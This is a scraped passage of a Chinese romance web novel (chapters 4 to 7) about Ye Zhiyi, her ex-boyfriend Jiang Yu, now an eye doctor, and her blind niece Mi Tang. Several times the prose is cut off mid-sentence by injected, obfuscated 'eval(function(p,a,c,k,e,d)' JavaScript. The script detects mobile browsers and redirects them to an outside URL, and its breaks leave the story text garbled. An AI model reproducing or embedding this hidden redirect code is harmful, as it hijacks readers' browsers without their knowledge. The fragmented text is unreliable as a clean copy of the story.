“我们之间的事,五年前就全部结束了,我没想过再跟你有交集,孩子也和你没关系,我带她去医院只是定期复诊,不是借机接近你,在那天之前我根本就不知道你回国了,如果我存了半分纠缠你的心思,我不得好死,所以你大可放心。” 叶之一甚至伸出手指诚心发誓。 蒋煜以为自己是恨她的,见到她后,他就确定,原来那些晴雨无常的日子,他是在想她。 然而她开口就一巴掌将他打醒,让他别做白日梦。 “跟我没关系,那跟谁有关系?” “关你什么事?请你把手松开,人来人往的地方,拉拉扯扯很难看。” 蒋煜攥在她手腕的力道收紧,唇角勾起浅淡的嘲弄,“分手五年,你有个四岁的孩子,我连问的资格都没有?” 时针永不停止,相隔万里彻底断联的两个人各自生活,彼此是全然陌生的。 在医院猝不及防匆匆一瞥就别开眼,在咖啡馆公式化不带个人情感,前两次直面对方,叶之一的目光都没有在他身上过多停留。 此时此刻,他直白地盯着她,有怨恨,有不甘,情绪复杂难辨。 她的视线终于落到实处,细看他的变化。 时间给予他成熟的魅力,眉形锋利,低垂的眼睛却是潮湿的。 叶之一有些恍惚,小狗般委屈失落的蒋煜是她最熟悉的模样,他用这样看似强势不讲理的作风拦住她,质问她,仿佛又回到大学毕业前那段漫长的雨季。 从她提分手那一刻起,他们就在电话里频繁吵架,即使见面次数越来越少,后期她连电话都不接了,他也不同意分手,能在楼下等一晚上。 她有点心软。 气氛凝滞,和喜庆的婚宴格格不入,蒋煜依旧固执追问:“孩子的父亲是谁?” 叶之一面不改色:“死了。” 男人手劲儿重,她甩不掉,推不开,用力掰他的手指也无济于事,她皮肤上反而多了一圈红印。 看着他逐渐阴沉的神色,她气极反笑,“蒋煜,你是读书把脑袋读坏掉了?还是这些天满脑子都在幻想糖糖是我为你生的孩子,我在跟你玩小娇妻带球跑几年后抱着天才宝宝回归母凭子贵的游戏,又觉得不太可能,左右脑打架,被气疯了?以至于连一二三四五都数不清。她九月份刚过完五岁的生日,能是你的吗?” 蒋煜咬牙道:“她说她四岁。” 叶之一简直无语,“小孩儿的话你也当真?都说了,她刚过完生日,习惯还没改过来。” “孩子的话比你的话可信度更高。” “爱信不信。” 孩子五岁,那她就不是无缝衔接,他们之间的过往不至于沦为笑话,蒋煜心里那团熊熊燃烧的火焰稍微平息,“就算她五岁,但七个月早产也是有的,你别想拿这个糊弄我。” 叶之一:“……” 现在她确定了,他是真的醉得不轻。 “再不松手,我喊保安了,”她话没说完,家里打来了语音电话。 电话接通,米棠奶声奶气的声音传来:“小一,不能喝醉哦。” 叶之一感觉到,握在手腕的力道明显松了。 “没喝醉哦,你吃饭了吗?” “我吃了大米饭,还吃了裴叔叔带来的曲奇饼干。裴叔叔开了车,马上去接你回家。” 裴起严回来了,叶之一没顾上看消息,“不用麻烦……” “不麻烦,佳岚结婚,我怎么也应该去道声喜,”裴起严靠近手机,“你别先走,等我一起。” 人家来送礼金,叶之一就没再客套,“也行,这边结束还早,可以慢慢过来。” “你刚拔完牙,少喝点酒。” “真没多喝。” 裴起严离开叶家,叶之一又跟米棠聊了一会儿,答应给她带喜糖才结束这通语音电话。 她平静地看向蒋煜,“需要去医院做亲子鉴定吗?” 孩子撒娇声音黏糊糊的,她叫的到底是“小姨”还是“小一”? 叶之一有个姐姐,蒋煜是知道的,他看过照片,没见过本人。 趁他恍惚走神,叶之一揉揉手腕,低着头,从他身侧绕过去。 蒋煜这次不再拦她,电话那端的男人是谁?和她是什么关系?为什么会在她家?他没有身份问。 脚步声在走廊里有回音,他转过身,望着她的背影,“叶小鱼。” 或许是他语气温和,不似刚才那样酒意上头胡搅蛮缠咄咄逼人,叶之一被绊住了脚步。 除了他,没人这么叫她。 她听到他轻声问:“我们在一起的那几年,对你来说,是错误还是不存在?” 眼睛不会说谎,好在她背对他,“我不否定过去,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171401|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不跟你当朋友。” “正好,我也这么想。” “嗯。糖糖对医生有一种完全信任的崇拜感,你多拒绝几次,或者直接不回复,她就不会总跟你分享她那些小秘密了。” 米棠自从有了手表,学会语音使唤Siri之后,正是话多的年龄段,她一天能发十几条语音,连鞋穿反了都要从头讲到尾,叽里咕噜的,尤其可爱。 蒋煜下班后都回复了。 宾客陆陆续续离开,留下来的都是一些和新郎新娘熟络的朋友。 叶之一回到自己的位置,发现酒杯压着两枚创可贴。 “煜草找服务生要的,”宋佳岚把椅子往叶之一身边挪,靠在她身上,“我老公笃定你俩有问题,说那是男人的第六感,错不了。” 宋佳岚高考成绩很烂,又不想复读,就去她爸工作的城市学护理,寒暑假不常回来,就算回来了,和叶之一也是匆匆见一面,吃顿饭挥挥手,再聚又是明年。 她对蒋煜的了解仅限于高中校草,不知道他和叶之一有过一段。 “什么问题?”叶之一弯着腰,撕开一枚创可贴,贴在脚后跟被磨伤的部位。 蒋煜和另外几个医生一起离开,高明送他们下楼。 宋佳岚趴在叶之一的肩上,视线在人群中找到蒋煜,他身形高挑,很好找,她压低声音,神秘兮兮地问:“你大学那个男朋友,不会就是煜草吧?” 大学四年,叶之一没在朋友圈发过一张她和蒋煜的正面合照,有时候他生气了,她为了哄他,那种氛围感牵手照和背影照倒是发过。 叶之一“嗯”了一声。 “叶之一,你太不讲义气了!我连初吻都告诉你,你跟我的校园男神谈了几年恋爱,竟然一点风声都不往外透!咱俩还是朋友吗?谁还没点脾气,绝交!今天必须绝交!” “那我不送份子钱了啊。” “一码归一码,为了钱,我还能忍。我脾气好,不生你的气,但你得跟我展开讲讲,你俩多般配啊,坐一起跟明星拍电视剧似的,怎么就分了呢?” “大学毕业,各奔东西。毕业季,分手季。” 宋佳岚没醉到神志不清的地步,不太相信,“你就扯吧。” “高中同学里还保持联系经常见面的,就只剩你了,你幸福,我特别开心,”叶之一给自己添了杯酒,仰头喝尽。 她喝太快,被呛得咳嗽,眼角和耳朵隐隐泛红。 裴起严到的时候,姐妹俩还凑在一起说悄悄话。 “抱歉,我紧赶慢赶,还是有点晚了,”裴起严放下一个厚厚的红包,“恭喜,我得开车,酒就不喝了,来沾沾喜气。” 宋佳岚笑道:“哎呀,这多不好意思,谢啦。” “新婚快乐,”裴起严说完祝福,侧首看着趴在桌上的叶之一,“喝醉了?” “没有,”叶之一站起身,“好困,眼睛要睁不开了,我走了啊。” 宋佳岚挥了下手,“裴机长,开车注意安全。” “放心,”裴起严跟了上去。 然而车开了不到十分钟,就被追尾了。 轻微追尾,不严重。 后车全责,被撞的车主在检查车况,酒店代驾司机叹着气看向后座的蒋煜。 “老板,刚才是你让我踩油门的,发生追尾事故,责任不在我吧,我上有老下有小,孩子还患有罕见病,上个月工资都没发。” “不用你赔。” 5. 第 5 章 有鬼。 叶之一以为下定决心辞职,远离烂人和极其内耗的职场关系后,会否极泰来,却不想还被霉运追着杀。 裴起严的车刚从停车场开出来,稳稳停在路边都能追尾,真是见鬼。 “蹭掉了点车漆,几道刮痕,没什么大事,你留在车里,我处理。”裴起严让叶之一安心,他去和后车的司机沟通。 被撞时的推背感没那么强,叶之一胃里难受是空腹喝酒的原因,再加上一夜没睡,脾气一下子就上来了。 她解开安全带,推开车门,下车大步走向后面那辆车,抬起手用力拍车门。 车窗缓慢降下。 她往后退两步,稍稍低头,看清了里面的肇事者。 他靠着车座闭目养神,脖颈轻微上仰,喉结小幅度地动了动,待在自己完全私人的空间,原本系得一丝不苟的扣子解开了两颗,少了些攻击性,显得松弛,看着就不太像正经人。 情绪不断上涌、累积,突破极限,“砰”的一声爆炸。 “蒋煜你是不是故意的?” “我钱多烧得慌?” 叶之一眉头紧蹙,语气烦躁:“你不是早走了吗?车怎么会在我后面?” 蒋煜漫不经心地回答:“等司机需要时间。” 司机只是临时代驾,解决问题还是得找车主,裴起严准备拍照留证时,想起他出发前“不小心”把手机落在了叶家,本来是打算用这个借口顺理成章地将叶之一送到家门口再讨杯茶喝,他的别有用心反而给自己添了麻烦。 “手机借我,拍照用。”裴起严喊叶之一帮忙。 叶之一正在气头上,“在我包里,你自己拿,密码是生日。” 蒋煜不紧不慢地下车,他拿着半瓶矿泉水,喝了几口,单手拧紧瓶盖,靠在车旁,等对方拍完照过来商量怎么处理。 能去她家。 会讨孩子欢心。 认识她的高中同学。 知道她的生日。 “私了吧,”蒋煜淡淡道,“留个联系方式,维修后把清单发给我,我全额赔偿。” 裴起严报自己的电话号码。 蒋煜说:“电话我不一定能及时接到,加微信更方便。” 虽然对方态度不怎么样,但还算干脆利落,裴起严说:“我没带手机,你先添加,等我回去了再通过好友申请。” 蒋煜轻描淡写:“你朋友的手机不是在你手里么。” 裴起严想了想,觉得不太合适,“车是我的,还是我们直接沟通比较好。” “我也没带手机,”蒋煜双手插兜,声调没什么起伏,“用她的微信搜索我的账号。” 这人既配合又难搞,局面陷入僵持状态。 后面被堵的车频繁按喇叭,叶之一沉默不语,只对裴起严点了下头。 得到允许,裴起严点开微信,按照对方报出的账号搜索,“是这个吗?” 蒋煜余光轻飘飘地瞟了一眼屏幕,“是。” 裴起严翻转屏幕,发现没有添加按键,这才注意到最下方的红色感叹号。 官方提示:已添加至黑名单,你将不再收到对方的消息 裴起严26岁放的机长,是航空公司当时最年轻的机长,除了过硬的专业技术,心理素质也强于大部分普通人。 飞行期间遇到危急突发状况,他广播安抚乘客时都能保持沉着冷静,此刻脚踏实地站在国土之上,尽管心中充满疑问,表面依然是波澜不惊的温和模样。 被拉黑的账号本人不动声色,云淡风轻。 裴起严视线转向身侧的叶之一。 她是浓颜系长相,五官立体但不锐利,轮廓流畅,颅骨饱满,瞳孔颜色偏浅,化着淡妆,给人一种很直观的清冷感。 “别跟钱过不去,把他放出来。” 叶之一说完就抬脚往回走,上了车。 车门关上后,裴起严收回视线。 如果他还感觉不到这两人之间有纠葛,那么这三十多年的饭都白吃了。 这不是一道两难的抉择题,裴起严的恋爱经历再贫瘠,也不至于犯低级错误,他没喝酒,也足够理智清醒。 过去式就应该老老实实待在黑名单里。 几道刮痕而已,修不修都行,裴起严打算就此了断,不追究后续赔偿,偶尔吃点小亏不是坏事,全当积德。 然而肇事车主预判了他的意图,突然抬起手,阻挡住他准备退出微信界面的动作,并且在他来不及设防时抽走了手机。 蒋煜三两下解除黑名单,按下锁屏键后,他没把手机直接还给裴起严,而是往前走了几步,站在车旁,轻敲副驾的车门,耐心等叶之一将车窗降下手指宽的一条细缝,把手机横着塞了进去,再回到自己车里,让司机驱车离开。 心情已经被影响,事故也已经发生,再纠结到底是意外还是人为纯属自寻烦恼。 在叶之一这里,裴起严是安全的,她爸妈还没离婚的时候,他们就认识了,和他在一起,她不用伪装,心烦不想说话,就完全可以心安理得地闭眼睡觉。 蒋煜没有当面问裴起严是她的什么人。 关于突发交通事故后互留联系方式,对方却诡异地出现在她的黑名单里,处处都透露出两人早就认识并且关系微妙这件事,在回去的路上,裴起严也只字不提。 以前两家是邻居,老房子拆迁后,又住在同一个小区同一栋楼。 打开门,叶之一解脱般踢掉高跟鞋,重重倒在沙发上,凑过去咬住米棠手里刚剥好皮的葡萄。 小孩儿虽然看不见,但一点也不笨,她吃东西有自己一套妙招,吃果皮苦涩难嚼的葡萄,她会先把葡萄放到桌上,用手压瘪,再从破皮的位置把果肉挤出来。 叶之一身上有酒味,米棠捏住鼻子,“小一臭臭!” “臭?”叶之一咽下葡萄,故意叹了声气,拉长语调:“不知道有没有人想吃喜糖。” “我想!”米棠立刻举手,手脚并用爬起来,抱住叶之一,亲她的脸,“小一香香。” “哎,如果有颗葡萄飞到我嘴里就好了。” “马上就飞来。” 塑料盘子里的那串葡萄,米棠摸了个遍,选最大个儿的,熟练地按压,再摸到叶之一的嘴巴,把果肉送过去。 裴起严换好拖鞋,笑着问:“有没有我的份?” 米棠从不护食,“叔叔是爱吃酸的,还是爱吃甜的?” “味道不一样?” “小的酸,大的甜。” 裴起严逗她:“能不能都尝一下?” “能呀,”米棠撸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171402|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起袖子,“等着啊。” 叶之一在车里没睡着,头疼得厉害,摇摇晃晃起身,“我去睡会儿。” 裴起严点头,“行。” 叶之一卸完妆回屋,反手关上门。 她睡眠不好,回迁房隔音差,裴起严把电视声音调小。 米棠轻声问:“佳岚阿姨结婚,小一为什么伤心?结婚不是应该高兴吗?” “你怎么知道她伤心?” “喝酒不好,伤心难过才会喝酒。” “高兴也可以喝酒,”裴起严抽了张纸巾,帮米棠把黏糊糊的小手擦干净,“喜糖好吃吗?” 米棠满足地含着奶糖,“好吃,我只吃一颗,不然牙齿会坏掉,小一拔牙脸都肿了,很疼很疼。” 裴起严勾着手指,在她鼻尖刮了一下,“她可不是因为糖吃多了才牙疼,她从小就不爱吃甜食。” 小孩儿捂着嘴嘻嘻笑:“我知道,小一爱吃辣椒。” 天空乌云聚集,像是要下雨,米梅把阳台的衣服收起来,顺口道:“起严,你的手机在茶几上。” 裴起严连忙应声:“我已经揣兜里了。” “留下吃饭晚吧,厨房炖了汤。” “那我就不客气了。阿姨,家里缺什么菜?我带糖糖去小区门口的超市溜达一圈。” * 车开进小区车库,停进车位。 代驾司机解开安全带,扭头往后看,“老板,到了。” “辛苦。”蒋煜按按太阳穴,左手从座椅缝里摸到手机,扫码转账。 司机下车后才发现他多付了五百块钱。 车库里很安静,偶有回声。 追尾时蒋煜没去检查自己的车是刮了还是蹭了,这会儿就更不在意,司机离开,外面感应灯熄灭,车内也只剩手机屏幕发出的光亮。 绿色的光亮。 对话框里全是他没能发出去的消息,往上翻聊天记录,还有更多的红色感叹号。 被拉黑五年期间,他能看到的只有她原来的头像。 恋爱之前,蒋煜觉得用情侣头像这事儿挺腻歪,后来明着暗着要在对方的社交软件里留下痕迹的人也是他。 她网名叫鱼章鱼,是在键盘敲下名字首字母yzy后随便选的字。 蒋煜叫她叶小鱼,某一天在学校拍到两朵相邻的云,仔细看,前面的云像一条鱼,后面的形状很像奔跑追赶的小狗。 他把一张照片裁剪成两张图,她用鱼,他用狗。 蓝天白云,老土得像一对老夫老妻,但又有种保持热恋的亲昵。 她早就换了新的头像,蒋煜点开她的朋友圈,非常不光明磊落地成为偷窥者,一条一条地浏览没有他参与的这几年所有动态。 她更新并不频繁,有时候几个月都不发一条。 蒋煜来来回回反复看。 去年生日九宫格中有一张她的正脸照,她看着镜头,笑意温柔,蒋煜看了好几次,在他意识到的时候,已经保存到相册。 酒意顿时清醒几分,他准备退出删除,突然刷新出了最新一条动态。 两分钟前,叶之一发了一张晚饭合照。 她穿着舒适的家居服,长发蓬松随性,坐姿慵懒。 手臂搭在她椅子后面的男人,蒋煜下午刚见过。 6. 第 6 章 生日当天,叶之一送给自己一份从头再来的勇气,提交了离职申请。 等待领导和人事找自己谈话期间,她除了完成日常工作,还在整理一份资料。 关于邹城抱有最高期待值的蒋煜,叶之一的校友身份并非捷径,她和上一个负责邀请眼科专家入驻平台的同事一样,准备充分但铩羽而归,邹城将此结果归咎于她能力不足。 邹城总教育下属,年轻人吃亏是福,叶之一要把这种福气加倍还给他。 在职最后一天,叶之一早上带着行李箱到公司,搬东西方便。 邹城看见了,阴阳怪气地讥笑道:“看来真是铁了心要走,学零零后整顿职场?一受挫就撂挑子。叶之一,你已经27岁了,还没有认清现实?现在各行各业都不景气,别说找工作,你这个年纪就是去相亲,当一块被挑肥拣瘦的猪肉,都不一定能排在前面。有一份薪资待遇都很不错的工作,得珍惜。” 叶之一看着他志得意满的丑陋嘴脸,内心毫无波澜。 她低头继续收拾东西,语气平缓:“我爸还活着,不需要你给我当爹。如果27岁在职场是夕阳老人,那么三十多岁就该死了,你失业后闲着无聊就忙忙自己的后事吧,闭眼前记得选个风水好的墓地,免得下辈子又投胎成畜生。” 吕湘开完会回来,几个同事也来到叶之一工位旁跟她道别。 邹城气得脸色铁青,他要体面,没有当众发作。 等叶之一合上行李箱,身后的吕湘已经哭湿了好几张纸巾。 “我妈昨天揉面蒸包子,给糖糖揪了一坨面团玩儿,”叶之一递给吕湘一个保鲜饭盒。 吕湘打开盖子,里面是各种奇形怪状的小馒头,有的只有指甲盖那么大。 叶之一说:“这些都是糖糖捏的,她自己舍不得多吃,让我带给湘湘小姨。放心啊,她的手洗干净了,中途也没有抠鼻子。我妈的卫生洁癖有多夸张,你是见识过的。” 吕湘又哭又笑,眼泪不止,哽咽道:“这比我失恋还难受。你走了,我天天跟这些傻逼在一起,和下地狱被油煎火烤有什么区别,我真不行。” “邹城在公司里待不下去的。” “……为什么?” “你等会儿看邮箱就知道了,”叶之一握住行李箱拉杆,“走了啊。” 吕湘抹掉眼泪,戴上黑框眼镜起身,“我送你进电梯。” 电梯门缓缓合上,吕湘不舍地朝叶之一挥手。 她哭得一塌糊涂,去卫生间缓了十分钟才回工位,登录邮箱,看到了叶之一定时发送的邮件。 这个压缩文件夹里内容丰富,包括邹城近半年骚扰叶之一的电话语音和聊天记录,他发完秒撤回的□□官私密照片,叶之一也手快地截了图,她不想污染女同事们的眼睛,用密密麻麻的黄色emoji手势打了码,就是那个男人看了最容易破防的手势,大拇指和食指没有完全合在一起,中间有一点点小距离。 * 第一医院每年都会去周边的特殊学校义诊,蒋煜今年刚来,原本不在眼科人员名单里,是他自己私下找主任协调的。 “还不走?”值夜班的同事给自己泡了杯浓茶,“老刘下班不回家是不想带孩子,你又没结婚。” 电脑屏幕上是医院内部系统的患者病例,蒋煜滑动鼠标,神色认真专注。 先天性视网膜色素变性,一种目前尚无根治方法的遗传疾病,米棠就是因此完全失明。 蒋煜闭眼后仰,疲惫地靠着椅子,“没结婚才没必要急着回家。” 同事笑了,“我妹六月份刚研究生毕业,找时间介绍你们认识一下?” “当朋友可以,别的就算了。” “清心寡欲多金帅气的高岭之花,很多小姑娘就喜欢你这款。” 短短半年,蒋煜已经三次拒绝护士长盛情给他介绍女朋友的好意,不只是同科室的同事,其他科室也没少打他的主意。 放在桌面的手机震动了一下,蒋煜点开消息,米棠软糯的声音响起:“医生叔叔,我在当售货员。” “卖些什么呢?” “卖矿泉水。” “还有吗?” “还有一瓶。” “厉害啊,生意这么好。” “对呀!哥哥们打篮球,口渴了就来找我买。” 蒋煜脱掉白大褂,拿起车钥匙往外走,跟进来的同事打了声招呼,他边走边发语音问米棠:“小售货员,请问最后一瓶水能不能留给我?我也口渴。” 电梯上来之前,他收到了回复:“我等你!我在太阳海体育公园的篮球场,一定要来哦。” 米棠三岁半的时候,叶之一买了一款轻便的挂脖运动相机,起初只是记录她每天在儿童设施爬上爬下的日常,后来为了存储视频,就给她开了个账号。 真不是童工卖货赚钱,这两箱矿泉水是叶之一从旁边的超市里搬来的,买价多少,卖价就是多少。 晚上的篮球场几乎都是大学生,米棠有礼貌,无论对方买不买,开口就叫哥哥姐姐,吉祥话听得大家心里美滋滋的,经常有人已经自带水壶,都忍不住要买一瓶,喝完了还会把空瓶子扔进箱子里,让她攒着,给在附近拾荒的老奶奶。 正常情况下,叶之一从不干涉,只远远看着。 还剩最后一瓶水,米棠留着不卖,一对情侣蹲在她面前逗小孩儿,聊得有来有去。 叶之一离职后最不缺的就是时间,没有过去催促。 秋风凉爽,气温舒适,米棠在外面玩比在家里好,很多盲童被家长关在房间里,时间长了,就会出现心理问题,越来越抗拒与人沟通。 八点多,叶之一接到了第一医院的眼科主任李医生打来的电话,在蒋煜之前,都是李医生给米棠看眼睛。 去年李医生带团队援藏,叶之一捐了些善款,杯水车薪,但聊胜于无。 “李主任,晚上好。” “小叶,你好。我们医院要去几所特殊学校义诊,时间已经定了,如果你有空,可以报名志愿者,跟着去看看,提前为孩子将来入学做打算。” “太好了,我最近就在想这个事儿。李主任,谢谢您。” “都不容易,能上帮一点小忙,我很愿意。” 挂了电话,叶之一大步往米棠摆摊的方向走,想早点回去跟米梅商量。 大学生们三三两两结伴,她及时侧身避开了一个迎面跑来的男生,却不小心踩到路人。 “不好意思,”叶之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171403|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一连忙道歉,她这一脚踩得重,应该很痛,“对不起,我……蒋煜?你怎么在这儿?” 这什么眼神? 她仿佛在打量一只阴魂不散的恶鬼,蒋煜承认自己那天酒后干了件上不了台面的缺德事,但不至于是死罪。 他忍着痛,装作若无其事,“球场你家的?” “穿着衬衣、西装裤和皮鞋,”她的眼神上下扫视,“来打球?” “来找朋友。” “你的朋友真多,遍布南川市各个角落。” “反正不找你,”蒋煜脸不红心不跳地走向路灯下的米棠。 小孩儿坐着,他就把外套挂在臂弯,蹲下去跟她说话:“小朋友,矿泉水多少钱一瓶?” 米棠很快就反应过来,“医生叔叔!” 路灯光线照得她笑容明亮,蒋煜的唇角不自觉地上扬,“听出我的声音了。” “嗯,我记得。” “好聪明。” 米棠自豪地在衣服上擦了擦手,“我可以摸摸你的脸吗?下次你不说话,我也能用手认出你。” 蒋煜往前凑近,“摸吧。” 米棠试探着伸出手,先碰到他的下巴,就从下巴开始摸,慢慢往上,格外仔细,连眉毛的形状都摸清楚了。 “好了,”她从箱子里拿出最后一瓶水,“这个一块钱。” 其实有付款码,蒋煜过来前特意找商店换了零钱,他先让她把一元硬币正反摸一遍,然后轻轻一抛,再接住,“玩个游戏,猜猜硬币朝上的一面是人头还是数字。” 米棠苦恼纠结,思考了好一会儿,“我猜人头。” “不仅聪明,运气也好,”蒋煜悄悄翻转手心里的硬币,“确认一下。” 米棠用手指感受纹路,刚才叔叔告诉过她,这一面是人头,“我猜对了!” 蒋煜拿出藏在外套里面的兔子玩偶公仔,“我吃了你送的糖,作为交换,送你一个毛绒玩具。” 米棠摸到了长长的耳朵,超级柔软,她缩回手,“要问家长能不能收。” 蒋煜拧开瓶盖,喝了几口水,扭头看向不远处的叶之一,她双手抱臂俯视着他,无言以对。 他问:“给句准话,能不能收?” 裴起严的车还没修,虽然解除了黑名单,两人依旧默契地互不打扰,对视片刻后,叶之一忽然轻笑出声,“你很闲吗?” “挺忙的,连晚饭都没吃。” “我倒是很闲,被公司开除了,在家抠脚啃老,一天吃四顿。” 蒋煜站起身,“因为我没有答应入驻你们平台?” 叶之一不置可否:“既然有自知之明就少来烦人。” 蒋煜不轻易上当,如果真是因为他丢工作,她反而不会主动说起。 他不紧不慢地走近她,地上的影子越来越淡,直到和她重叠,眉眼落在阴影里,情绪晦涩不明,嗓音低低的:“你当我还是以前那样,随便你骗。” 风里闻不到一丝烟味,只有桂花香气,甜腻浓郁,扰人心神。 短暂沉默后,叶之一轻声道:“总提以前真是非常没意思。” 蒋煜冷漠反问:“你对未来的规划里没有我,现在又不当朋友,不提过去还能提什么?” 7. 第 7 章 分开五年,彼此在对方的生活中一片空白。 不远处,男生投了个漂亮的三分球,跑到球场边捧起女朋友的脸猛猛亲一口,再在队友起哄调侃的骂声中回到球场。 叶之一曾经没少陪蒋煜打球,蒋煜不像球场上频繁掀球衣擦汗的男生那样高调张扬,哪怕是三伏天,他也要在球衣里穿一件打底,输了或赢了都不挂脸,全当消遣,他也不贪玩,打完一场就走,从不让她多等。 时间的河流始终往前,回忆过去如同刻舟求剑,不是好兆头。 叶之一及时从回忆里抽离出来,“没得聊,所以最好少见面。” 米棠蔫蔫地趴在纸箱上打哈欠,“好困呀。” “回家了,”叶之一走过去。 重叠的影子再次分开,晚风吹动她的发丝,发梢从手臂皮肤拂过,感觉微乎其微,蒋煜的视线被发丝牵连着移动,人也跟着她过去帮忙收拾空瓶子。 见了心烦,不见更烦。 米棠爱惜地用脸颊贴着玩偶公仔,“兔子的毛好柔软。” 叶之一松口:“叔叔送你的礼物可以收下,要说谢谢。” “谢谢叔叔,我很喜欢,”米棠累得站不住,迷糊地伸手,“抱抱。” “再坚持一会儿。” 垃圾桶离得远,叶之一小跑过去,把装满空瓶的纸箱放在垃圾桶旁边,环卫工人会捡走,等她折返回去,蒋煜已经抱起米棠,并且把外套给孩子披上,免得着凉。 米棠白嫩的小脸靠在他肩上,调整舒服的姿势,秒睡。 蒋煜单手托住孩子,把他喝过矿泉水和挂脖相机都递过去,叶之一接到手里,看着在他怀里睡着的米棠,嘴唇轻微张合,最后没说什么。 他没有带娃经历,大概是担心孩子被惊醒,脚步又轻又慢。 这条路有人夜跑,有遛狗的,也有散步的,充满生活气息,两人沉默地并排往公园外走,看着似乎和前面手牵着手的一家三口没什么两样,实则隔着千山万水。 到了出口,叶之一说:“我叫了车。” “取消订单吧,”蒋煜脚步不停,“我送你们。” “不顺路,没必要麻烦。” “我不觉得麻烦。” 从球场到公园出口这段路,他能走半小时,这会儿倒是不担心孩子睡不安稳,脚下生风走得飞快,叶之一望着远去男人的背影,只好取消订单。 蒋煜打开车门,小心地把米棠放进后座,铺平外套给她盖着。 叶之一坐副驾,车里没有音乐,干巴巴的。 十字路口红灯时间长,蒋煜扭头看后面的米棠,她睡得正香。 他握着方向盘,随口问:“你朋友的车修好了吗?” “他一天工作十几个小时,最近飞机落地差不多已经凌晨,到家就躺下了,他父母自驾房车全国旅行不在家,猫都是我帮忙喂的,他哪还有空去修车。” “能看出来你们很熟,不用事无巨细讲这么清楚。” 叶之一也不否认,“是比跟你熟。” 蒋煜用沉默终止话题,一路上都没再开口。 西江是新开发区,这几年变化大,以前叶家周围一大片都是矮小老旧的居民楼,拆迁后通了地铁,各种配套设施都在逐步完善中,远不如市区繁华热闹,胜在清净。 米梅当了几十年的小学老师,老房子是她的嫁妆,婚后也过了几年平稳幸福的日子,但好景不长。 爱意耗尽,两相生厌,他们离婚后,叶之一被判给父亲,跟着父亲去别的城市生活,初三才回到南川市,那时候,西江还是落后的老城区。 * 叶之一初识蒋煜,是在高二。 学校晚自习要上到九点半,周五会提前放学,每逢雨季,路灯就时好时坏。 老城区里的巷子弯弯绕绕,大部分是相通的,叶之一察觉到自己可能被跟踪,故意绕路,对方依然不远不近地跟在她后面,隐匿在黑暗里,让人心惊。 拐过转角,她收起雨伞,后背贴着墙,屏住呼吸,从淅淅沥沥的雨声中辨认出对方的脚步声。 很近了,她握紧雨伞手柄。 在对方出现的瞬间,她高举雨伞,一顿乱打。 对方下意识用手里的东西挡了一下,伞杆抽在一束鲜花上,花瓣纷飞,被风带起,四处飘散。 “停停停!”少年狼狈地抓住雨伞,“你怎么打人?” 叶之一心中恐惧未消,她不敢露出一份怯弱助长对方的恶念,强装冷静,“打你算什么?我还要报警抓你。” 少年满是疑惑:“我犯了什么罪?” 路边的院子亮起灯,光线透出来,叶之一发现对方身上穿着和她同款的校服,紧接着,院子门口的灯也亮了,少年拿开挡住脸的书包,她终于看清他长什么样。 高三的蒋煜。 宋佳岚隔三差五就把男神挂在嘴上激励自己学习,身为好友的叶之一对这个名字当然不陌生,开学还捡到过他的校园卡。 照片和本人虽不是一比一完美复制,但也相差不大。 “你……你干嘛吓人!”叶之一底气不足,“我以为遇到变态跟踪狂了。” 从院子里出来的小男孩闻声左右张望,“谁是变态?谁是跟踪狂?大胆!” 蒋煜从书包里拿出一沓卷子,卷成圆筒,轻敲男孩的头,“把试卷给你哥,让他做完了问我要答案,或者拍照给各科老师批改。” 男孩的哥哥是蒋煜的同班同学,意外骨折在家修养,暂时不能正常上学,周五考试结束,蒋煜每科帮他留一份空白试卷,再送到家。 “行,我记住了,”男孩垫着脚往远处看,“变态往哪里跑了?要不我多喊几个人,一起去抓。” 一道目光落到脸上,似笑非笑,叶之一不太自然地躲闪。 “演警匪片呢,”蒋煜把这束被打得七零八落的花塞给男孩,“这束花……勉强将就看吧,祝他早日康复。” “哪家花店扔掉不要的被你捡了,”男孩颇为嫌弃,走进院子又出来,“真没有变态?” 显然是闹了个乌龙,叶之一尴尬开口:“没有,是误会。” 院子门关上,灯还亮着。 四周只剩雨水声,花瓣落了一地。 叶之一低头看着脚边浅淡的影子,那股阴森恐慌感早已被羞愧心驱赶消失,十一月份风里已经有了寒意,她耳根隐隐发烫,火烧似的,恨不得原地刨个深坑钻进去。 “还要报警吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 